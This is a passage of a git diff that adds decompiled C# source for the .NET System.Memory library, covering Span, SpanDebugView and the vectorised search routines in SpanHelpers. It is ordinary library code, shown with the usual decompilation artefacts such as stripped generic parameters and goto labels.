} + return false; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public override bool Equals(object obj) + { + if (obj is SequencePosition other) + { + return Equals(other); + } + return false; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public override int GetHashCode() + { + return HashHelpers.Combine(_object?.GetHashCode() ?? 0, _integer); + } +} diff --git a/decompiled/Libraries/system.memory/System/Span.cs b/decompiled/Libraries/system.memory/System/Span.cs new file mode 100644 index 0000000..621899d --- /dev/null +++ b/decompiled/Libraries/system.memory/System/Span.cs @@ -0,0 +1,398 @@ +using System.ComponentModel; +using System.Diagnostics; +using System.Runtime.CompilerServices; + +namespace System; + +[DebuggerTypeProxy(typeof(System.SpanDebugView<>))] +[DebuggerDisplay("{ToString(),raw}")] +[DebuggerTypeProxy(typeof(System.SpanDebugView<>))] +[DebuggerDisplay("{ToString(),raw}")] +public readonly ref struct Span +{ + public ref struct Enumerator + { + private readonly Span _span; + + private int _index; + + public ref T Current + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + return ref _span[_index]; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal Enumerator(Span span) + { + _span = span; + _index = -1; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public bool MoveNext() + { + int num = _index + 1; + if (num < _span.Length) + { + _index = num; + return true; + } + return false; + } + } + + private readonly Pinnable _pinnable; + + private readonly IntPtr _byteOffset; + + private readonly int _length; + + public int Length => _length; + + public bool IsEmpty => _length == 0; + + public static Span Empty => default(Span); + + public unsafe ref T this[int index] + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + if ((uint)index >= (uint)_length) + { + System.ThrowHelper.ThrowIndexOutOfRangeException(); + } + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + return ref Unsafe.Add(ref Unsafe.AsRef(byteOffset.ToPointer()), index); + } + return ref Unsafe.Add(ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset), index); + } + } + + internal Pinnable Pinnable => _pinnable; + + internal IntPtr ByteOffset => _byteOffset; + + public static bool operator !=(Span left, Span right) + { + return !(left == right); + } + + [Obsolete("Equals() on Span will always throw an exception. Use == instead.")] + [EditorBrowsable(EditorBrowsableState.Never)] + public override bool Equals(object obj) + { + throw new NotSupportedException(System.SR.NotSupported_CannotCallEqualsOnSpan); + } + + [Obsolete("GetHashCode() on Span will always throw an exception.")] + [EditorBrowsable(EditorBrowsableState.Never)] + public override int GetHashCode() + { + throw new NotSupportedException(System.SR.NotSupported_CannotCallGetHashCodeOnSpan); + } + + public static implicit operator Span(T[] array) + { + return new Span(array); + } + + public static implicit operator Span(ArraySegment segment) + { + return new Span(segment.Array, segment.Offset, segment.Count); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Span(T[] array) + { + if (array == null) + { + this = default(Span); + return; + } + if (default(T) == null && array.GetType() != typeof(T[])) + { + System.ThrowHelper.ThrowArrayTypeMismatchException(); + } + _length = array.Length; + _pinnable = Unsafe.As>(array); + _byteOffset = System.SpanHelpers.PerTypeValues.ArrayAdjustment; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static Span Create(T[] array, int start) + { + if (array == null) + { + if (start != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return default(Span); + } + if (default(T) == null && array.GetType() != typeof(T[])) + { + System.ThrowHelper.ThrowArrayTypeMismatchException(); + } + if ((uint)start > (uint)array.Length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + IntPtr byteOffset = System.SpanHelpers.PerTypeValues.ArrayAdjustment.Add(start); + int length = array.Length - start; + return new Span(Unsafe.As>(array), byteOffset, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Span(T[] array, int start, int length) + { + if (array == null) + { + if (start != 0 || length != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + this = default(Span); + return; + } + if (default(T) == null && array.GetType() != typeof(T[])) + { + System.ThrowHelper.ThrowArrayTypeMismatchException(); + } + if ((uint)start > (uint)array.Length || (uint)length > (uint)(array.Length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + _length = length; + _pinnable = Unsafe.As>(array); + _byteOffset = System.SpanHelpers.PerTypeValues.ArrayAdjustment.Add(start); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public unsafe Span(void* pointer, int length) + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + if (length < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + _length = length; + _pinnable = null; + _byteOffset = new IntPtr(pointer); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal Span(Pinnable pinnable, IntPtr byteOffset, int length) + { + _length = length; + _pinnable = pinnable; + _byteOffset = byteOffset; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public unsafe ref T GetPinnableReference() + { + if (_length != 0) + { + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + return ref Unsafe.AsRef(byteOffset.ToPointer()); + } + return ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset); + } + return ref Unsafe.AsRef(null); + } + + public unsafe void Clear() + { + int length = _length; + if (length == 0) + { + return; + } + UIntPtr byteLength = (UIntPtr)(ulong)((uint)length * Unsafe.SizeOf()); + if ((Unsafe.SizeOf() & (sizeof(IntPtr) - 1)) != 0) + { + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + byte* ptr = (byte*)byteOffset.ToPointer(); + System.SpanHelpers.ClearLessThanPointerSized(ptr, byteLength); + } + else + { + System.SpanHelpers.ClearLessThanPointerSized(ref Unsafe.As(ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset)), byteLength); + } + } + else if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + UIntPtr pointerSizeLength = (UIntPtr)(ulong)(length * Unsafe.SizeOf() / sizeof(IntPtr)); + System.SpanHelpers.ClearPointerSizedWithReferences(ref Unsafe.As(ref DangerousGetPinnableReference()), pointerSizeLength); + } + else + { + System.SpanHelpers.ClearPointerSizedWithoutReferences(ref Unsafe.As(ref DangerousGetPinnableReference()), byteLength); + } + } + + public unsafe void Fill(T value) + { + int length = _length; + if (length == 0) + { + return; + } + if (Unsafe.SizeOf() == 1) + { + byte value2 = Unsafe.As(ref value); + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + Unsafe.InitBlockUnaligned(byteOffset.ToPointer(), value2, (uint)length); + } + else + { + Unsafe.InitBlockUnaligned(ref Unsafe.As(ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset)), value2, (uint)length); + } + return; + } + ref T source = ref DangerousGetPinnableReference(); + int i; + for (i = 0; i < (length & -8); i += 8) + { + Unsafe.Add(ref source, i) = value; + Unsafe.Add(ref source, i + 1) = value; + Unsafe.Add(ref source, i + 2) = value; + Unsafe.Add(ref source, i + 3) = value; + Unsafe.Add(ref source, i + 4) = value; + Unsafe.Add(ref source, i + 5) = value; + Unsafe.Add(ref source, i + 6) = value; + Unsafe.Add(ref source, i + 7) = value; + } + if (i < (length & -4)) + { + Unsafe.Add(ref source, i) = value; + Unsafe.Add(ref source, i + 1) = value; + Unsafe.Add(ref source, i + 2) = value; + Unsafe.Add(ref source, i + 3) = value; + i += 4; + } + for (; i < length; i++) + { + Unsafe.Add(ref source, i) = value; + } + } + + public void CopyTo(Span destination) + { + if (!TryCopyTo(destination)) + { + System.ThrowHelper.ThrowArgumentException_DestinationTooShort(); + } + } + + public bool TryCopyTo(Span destination) + { + int length = _length; + int length2 = destination._length; + if (length == 0) + { + return true; + } + if ((uint)length > (uint)length2) + { + return false; + } + ref T src = ref DangerousGetPinnableReference(); + System.SpanHelpers.CopyTo(ref destination.DangerousGetPinnableReference(), length2, ref src, length); + return true; + } + + public static bool operator ==(Span left, Span right) + { + if (left._length == right._length) + { + return Unsafe.AreSame(in left.DangerousGetPinnableReference(), in right.DangerousGetPinnableReference()); + } + return false; + } + + public static implicit operator ReadOnlySpan(Span span) + { + return new ReadOnlySpan(span._pinnable, span._byteOffset, span._length); + } + + public unsafe override string ToString() + { + if (typeof(T) == typeof(char)) + { + fixed (char* value = &Unsafe.As(ref DangerousGetPinnableReference())) + { + return new string(value, 0, _length); + } + } + return $"System.Span<{typeof(T).Name}>[{_length}]"; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Span Slice(int start) + { + if ((uint)start > (uint)_length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + IntPtr byteOffset = _byteOffset.Add(start); + int length = _length - start; + return new Span(_pinnable, byteOffset, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Span Slice(int start, int length) + { + if ((uint)start > (uint)_length || (uint)length > (uint)(_length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + IntPtr byteOffset = _byteOffset.Add(start); + return new Span(_pinnable, byteOffset, length); + } + + public T[] ToArray() + { + if (_length == 0) + { + return System.SpanHelpers.PerTypeValues.EmptyArray; + } + T[] array = new T[_length]; + CopyTo(array); + return array; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [EditorBrowsable(EditorBrowsableState.Never)] + internal unsafe ref T DangerousGetPinnableReference() + { + if (_pinnable == null) + { + IntPtr byteOffset = _byteOffset; + return ref Unsafe.AsRef(byteOffset.ToPointer()); + } + return ref Unsafe.AddByteOffset(ref _pinnable.Data, _byteOffset); + } +} diff --git a/decompiled/Libraries/system.memory/System/SpanDebugView.cs b/decompiled/Libraries/system.memory/System/SpanDebugView.cs new file mode 100644 index 0000000..8112ef2 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/SpanDebugView.cs @@ -0,0 +1,21 @@ +using System.Diagnostics; + +namespace System; + +internal sealed class SpanDebugView +{ + private readonly T[] _array; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Items => _array; + + public SpanDebugView(Span span) + { + _array = span.ToArray(); + } + + public SpanDebugView(ReadOnlySpan span) + { + _array = span.ToArray(); + } +} diff --git a/decompiled/Libraries/system.memory/System/SpanHelpers.cs b/decompiled/Libraries/system.memory/System/SpanHelpers.cs new file mode 100644 index 0000000..3b2bfc9 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/SpanHelpers.cs @@ -0,0 +1,2398 @@ +using System.Collections.Generic; +using System.Numerics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System; + +internal static class SpanHelpers +{ + internal struct ComparerComparable(T value, TComparer comparer) : IComparable where TComparer : IComparer + { + private readonly T _value = value; + + private readonly TComparer _comparer = comparer; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public int CompareTo(T other) + { + return _comparer.Compare(_value, other); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 64)] + private struct Reg64 + { + } + + [StructLayout(LayoutKind.Sequential, Size = 32)] + private struct Reg32 + { + } + + [StructLayout(LayoutKind.Sequential, Size = 16)] + private struct Reg16 + { + } + + public static class PerTypeValues + { + public static readonly bool IsReferenceOrContainsReferences = IsReferenceOrContainsReferencesCore(typeof(T)); + + public static readonly T[] EmptyArray = new T[0]; + + public static readonly IntPtr ArrayAdjustment = MeasureArrayAdjustment(); + + private static IntPtr MeasureArrayAdjustment() + { + T[] array = new T[1]; + return Unsafe.ByteOffset(in Unsafe.As>(array).Data, in array[0]); + } + } + + private const ulong XorPowerOfTwoToHighByte = 283686952306184uL; + + private const ulong XorPowerOfTwoToHighChar = 4295098372uL; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int BinarySearch(this ReadOnlySpan span, TComparable comparable) where TComparable : IComparable + { + if (comparable == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.comparable); + } + return BinarySearch(ref MemoryMarshal.GetReference(span), span.Length, comparable); + } + + public static int BinarySearch(ref T spanStart, int length, TComparable comparable) where TComparable : IComparable + { + int num = 0; + int num2 = length - 1; + while (num <= num2) + { + int num3 = num2 + num >>> 1; + int num4 = comparable.CompareTo(Unsafe.Add(ref spanStart, num3)); + if (num4 == 0) + { + return num3; + } + if (num4 > 0) + { + num = num3 + 1; + } + else + { + num2 = num3 - 1; + } + } + return ~num; + } + + public static int IndexOf(ref byte searchSpace, int searchSpaceLength, ref byte value, int valueLength) + { + if (valueLength == 0) + { + return 0; + } + byte value2 = value; + ref byte second = ref Unsafe.Add(ref value, 1); + int num = valueLength - 1; + int num2 = 0; + while (true) + { + int num3 = searchSpaceLength - num2 - num; + if (num3 <= 0) + { + break; + } + int num4 = IndexOf(ref Unsafe.Add(ref searchSpace, num2), value2, num3); + if (num4 == -1) + { + break; + } + num2 += num4; + if (SequenceEqual(ref Unsafe.Add(ref searchSpace, num2 + 1), ref second, num)) + { + return num2; + } + num2++; + } + return -1; + } + + public static int IndexOfAny(ref byte searchSpace, int searchSpaceLength, ref byte value, int valueLength) + { + if (valueLength == 0) + { + return 0; + } + int num = -1; + for (int i = 0; i < valueLength; i++) + { + int num2 = IndexOf(ref searchSpace, Unsafe.Add(ref value, i), searchSpaceLength); + if ((uint)num2 < (uint)num) + { + num = num2; + searchSpaceLength = num2; + if (num == 0) + { + break; + } + } + } + return num; + } + + public static int LastIndexOfAny(ref byte searchSpace, int searchSpaceLength, ref byte value, int valueLength) + { + if (valueLength == 0) + { + return 0; + } + int num = -1; + for (int i = 0; i < valueLength; i++) + { + int num2 = LastIndexOf(ref searchSpace, Unsafe.Add(ref value, i), searchSpaceLength); + if (num2 > num) + { + num = num2; + } + } + return num; + } + + public unsafe static int IndexOf(ref byte searchSpace, byte value, int length) + { + IntPtr intPtr = (IntPtr)0; + IntPtr intPtr2 = (IntPtr)length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = (int)Unsafe.AsPointer(in searchSpace) & (Vector.Count - 1); + intPtr2 = (IntPtr)((Vector.Count - num) & (Vector.Count - 1)); + } + while (true) + { + if ((nuint)(void*)intPtr2 >= (nuint)8u) + { + intPtr2 -= 8; + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr)) + { + goto IL_0242; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 1)) + { + goto IL_024a; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 2)) + { + goto IL_0258; + } + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 3)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 4)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 5)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 6)) + { + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 7)) + { + break; + } + intPtr += 8; + continue; + } + return (int)(void*)(intPtr + 6); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 4); + } + goto IL_0266; + } + if ((nuint)(void*)intPtr2 >= (nuint)4u) + { + intPtr2 -= 4; + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr)) + { + goto IL_0242; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 1)) + { + goto IL_024a; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 2)) + { + goto IL_0258; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 3)) + { + goto IL_0266; + } + intPtr += 4; + } + while ((void*)intPtr2 != null) + { + intPtr2 -= 1; + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr)) + { + intPtr += 1; + continue; + } + goto IL_0242; + } + if (Vector.IsHardwareAccelerated && (int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)((length - (int)(void*)intPtr) & ~(Vector.Count - 1)); + Vector vector = GetVector(value); + for (; (void*)intPtr2 > (void*)intPtr; intPtr += Vector.Count) + { + Vector vector2 = Vector.Equals(vector, Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref searchSpace, intPtr))); + if (!Vector.Zero.Equals(vector2)) + { + return (int)(void*)intPtr + LocateFirstFoundByte(vector2); + } + } + if ((int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)(length - (int)(void*)intPtr); + continue; + } + } + return -1; + IL_0266: + return (int)(void*)(intPtr + 3); + IL_0242: + return (int)(void*)intPtr; + IL_0258: + return (int)(void*)(intPtr + 2); + IL_024a: + return (int)(void*)(intPtr + 1); + } + return (int)(void*)(intPtr + 7); + } + + public static int LastIndexOf(ref byte searchSpace, int searchSpaceLength, ref byte value, int valueLength) + { + if (valueLength == 0) + { + return 0; + } + byte value2 = value; + ref byte second = ref Unsafe.Add(ref value, 1); + int num = valueLength - 1; + int num2 = 0; + while (true) + { + int num3 = searchSpaceLength - num2 - num; + if (num3 <= 0) + { + break; + } + int num4 = LastIndexOf(ref searchSpace, value2, num3); + if (num4 == -1) + { + break; + } + if (SequenceEqual(ref Unsafe.Add(ref searchSpace, num4 + 1), ref second, num)) + { + return num4; + } + num2 += num3 - num4; + } + return -1; + } + + public unsafe static int LastIndexOf(ref byte searchSpace, byte value, int length) + { + IntPtr intPtr = (IntPtr)length; + IntPtr intPtr2 = (IntPtr)length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = (int)Unsafe.AsPointer(in searchSpace) & (Vector.Count - 1); + intPtr2 = (IntPtr)(((length & (Vector.Count - 1)) + num) & (Vector.Count - 1)); + } + while (true) + { + if ((nuint)(void*)intPtr2 >= (nuint)8u) + { + intPtr2 -= 8; + intPtr -= 8; + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 7)) + { + break; + } + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 6)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 5)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 4)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 3)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 2)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr + 1)) + { + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr)) + { + continue; + } + goto IL_0254; + } + goto IL_025c; + } + goto IL_026a; + } + goto IL_0278; + } + return (int)(void*)(intPtr + 4); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 6); + } + if ((nuint)(void*)intPtr2 >= (nuint)4u) + { + intPtr2 -= 4; + intPtr -= 4; + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 3)) + { + goto IL_0278; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 2)) + { + goto IL_026a; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr + 1)) + { + goto IL_025c; + } + if (value == Unsafe.AddByteOffset(ref searchSpace, intPtr)) + { + goto IL_0254; + } + } + while ((void*)intPtr2 != null) + { + intPtr2 -= 1; + intPtr -= 1; + if (value != Unsafe.AddByteOffset(ref searchSpace, intPtr)) + { + continue; + } + goto IL_0254; + } + if (Vector.IsHardwareAccelerated && (void*)intPtr != null) + { + intPtr2 = (IntPtr)((int)(void*)intPtr & ~(Vector.Count - 1)); + Vector vector = GetVector(value); + for (; (nuint)(void*)intPtr2 > (nuint)(Vector.Count - 1); intPtr2 -= Vector.Count) + { + Vector vector2 = Vector.Equals(vector, Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref searchSpace, intPtr - Vector.Count))); + if (Vector.Zero.Equals(vector2)) + { + intPtr -= Vector.Count; + continue; + } + return (int)intPtr - Vector.Count + LocateLastFoundByte(vector2); + } + if ((void*)intPtr != null) + { + intPtr2 = intPtr; + continue; + } + } + return -1; + IL_0254: + return (int)(void*)intPtr; + IL_026a: + return (int)(void*)(intPtr + 2); + IL_0278: + return (int)(void*)(intPtr + 3); + IL_025c: + return (int)(void*)(intPtr + 1); + } + return (int)(void*)(intPtr + 7); + } + + public unsafe static int IndexOfAny(ref byte searchSpace, byte value0, byte value1, int length) + { + IntPtr intPtr = (IntPtr)0; + IntPtr intPtr2 = (IntPtr)length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = (int)Unsafe.AsPointer(in searchSpace) & (Vector.Count - 1); + intPtr2 = (IntPtr)((Vector.Count - num) & (Vector.Count - 1)); + } + while (true) + { + if ((nuint)(void*)intPtr2 >= (nuint)8u) + { + intPtr2 -= 8; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 == num2 || value1 == num2) + { + goto IL_02ff; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 == num2 || value1 == num2) + { + goto IL_0307; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 == num2 || value1 == num2) + { + goto IL_0315; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 4); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 5); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 6); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 7); + if (value0 == num2 || value1 == num2) + { + break; + } + intPtr += 8; + continue; + } + return (int)(void*)(intPtr + 6); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 4); + } + goto IL_0323; + } + if ((nuint)(void*)intPtr2 >= (nuint)4u) + { + intPtr2 -= 4; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 == num2 || value1 == num2) + { + goto IL_02ff; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 == num2 || value1 == num2) + { + goto IL_0307; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 == num2 || value1 == num2) + { + goto IL_0315; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 == num2 || value1 == num2) + { + goto IL_0323; + } + intPtr += 4; + } + while ((void*)intPtr2 != null) + { + intPtr2 -= 1; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 != num2 && value1 != num2) + { + intPtr += 1; + continue; + } + goto IL_02ff; + } + if (Vector.IsHardwareAccelerated && (int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)((length - (int)(void*)intPtr) & ~(Vector.Count - 1)); + Vector vector = GetVector(value0); + Vector vector2 = GetVector(value1); + for (; (void*)intPtr2 > (void*)intPtr; intPtr += Vector.Count) + { + Vector left = Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref searchSpace, intPtr)); + Vector vector3 = Vector.BitwiseOr(Vector.Equals(left, vector), Vector.Equals(left, vector2)); + if (!Vector.Zero.Equals(vector3)) + { + return (int)(void*)intPtr + LocateFirstFoundByte(vector3); + } + } + if ((int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)(length - (int)(void*)intPtr); + continue; + } + } + return -1; + IL_02ff: + return (int)(void*)intPtr; + IL_0315: + return (int)(void*)(intPtr + 2); + IL_0307: + return (int)(void*)(intPtr + 1); + IL_0323: + return (int)(void*)(intPtr + 3); + } + return (int)(void*)(intPtr + 7); + } + + public unsafe static int IndexOfAny(ref byte searchSpace, byte value0, byte value1, byte value2, int length) + { + IntPtr intPtr = (IntPtr)0; + IntPtr intPtr2 = (IntPtr)length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = (int)Unsafe.AsPointer(in searchSpace) & (Vector.Count - 1); + intPtr2 = (IntPtr)((Vector.Count - num) & (Vector.Count - 1)); + } + while (true) + { + if ((nuint)(void*)intPtr2 >= (nuint)8u) + { + intPtr2 -= 8; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_0393; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_039b; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_03a9; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 4); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 5); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 6); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 7); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + break; + } + intPtr += 8; + continue; + } + return (int)(void*)(intPtr + 6); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 4); + } + goto IL_03b7; + } + if ((nuint)(void*)intPtr2 >= (nuint)4u) + { + intPtr2 -= 4; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_0393; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_039b; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_03a9; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_03b7; + } + intPtr += 4; + } + while ((void*)intPtr2 != null) + { + intPtr2 -= 1; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + intPtr += 1; + continue; + } + goto IL_0393; + } + if (Vector.IsHardwareAccelerated && (int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)((length - (int)(void*)intPtr) & ~(Vector.Count - 1)); + Vector vector = GetVector(value0); + Vector vector2 = GetVector(value1); + Vector vector3 = GetVector(value2); + for (; (void*)intPtr2 > (void*)intPtr; intPtr += Vector.Count) + { + Vector left = Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref searchSpace, intPtr)); + Vector vector4 = Vector.BitwiseOr(Vector.BitwiseOr(Vector.Equals(left, vector), Vector.Equals(left, vector2)), Vector.Equals(left, vector3)); + if (!Vector.Zero.Equals(vector4)) + { + return (int)(void*)intPtr + LocateFirstFoundByte(vector4); + } + } + if ((int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)(length - (int)(void*)intPtr); + continue; + } + } + return -1; + IL_0393: + return (int)(void*)intPtr; + IL_039b: + return (int)(void*)(intPtr + 1); + IL_03b7: + return (int)(void*)(intPtr + 3); + IL_03a9: + return (int)(void*)(intPtr + 2); + } + return (int)(void*)(intPtr + 7); + } + + public unsafe static int LastIndexOfAny(ref byte searchSpace, byte value0, byte value1, int length) + { + IntPtr intPtr = (IntPtr)length; + IntPtr intPtr2 = (IntPtr)length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = (int)Unsafe.AsPointer(in searchSpace) & (Vector.Count - 1); + intPtr2 = (IntPtr)(((length & (Vector.Count - 1)) + num) & (Vector.Count - 1)); + } + while (true) + { + if ((nuint)(void*)intPtr2 >= (nuint)8u) + { + intPtr2 -= 8; + intPtr -= 8; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 7); + if (value0 == num2 || value1 == num2) + { + break; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 6); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 5); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 4); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 != num2 && value1 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 != num2 && value1 != num2) + { + continue; + } + goto IL_0314; + } + goto IL_031c; + } + goto IL_032a; + } + goto IL_0338; + } + return (int)(void*)(intPtr + 4); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 6); + } + if ((nuint)(void*)intPtr2 >= (nuint)4u) + { + intPtr2 -= 4; + intPtr -= 4; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 == num2 || value1 == num2) + { + goto IL_0338; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 == num2 || value1 == num2) + { + goto IL_032a; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 == num2 || value1 == num2) + { + goto IL_031c; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 == num2 || value1 == num2) + { + goto IL_0314; + } + } + while ((void*)intPtr2 != null) + { + intPtr2 -= 1; + intPtr -= 1; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 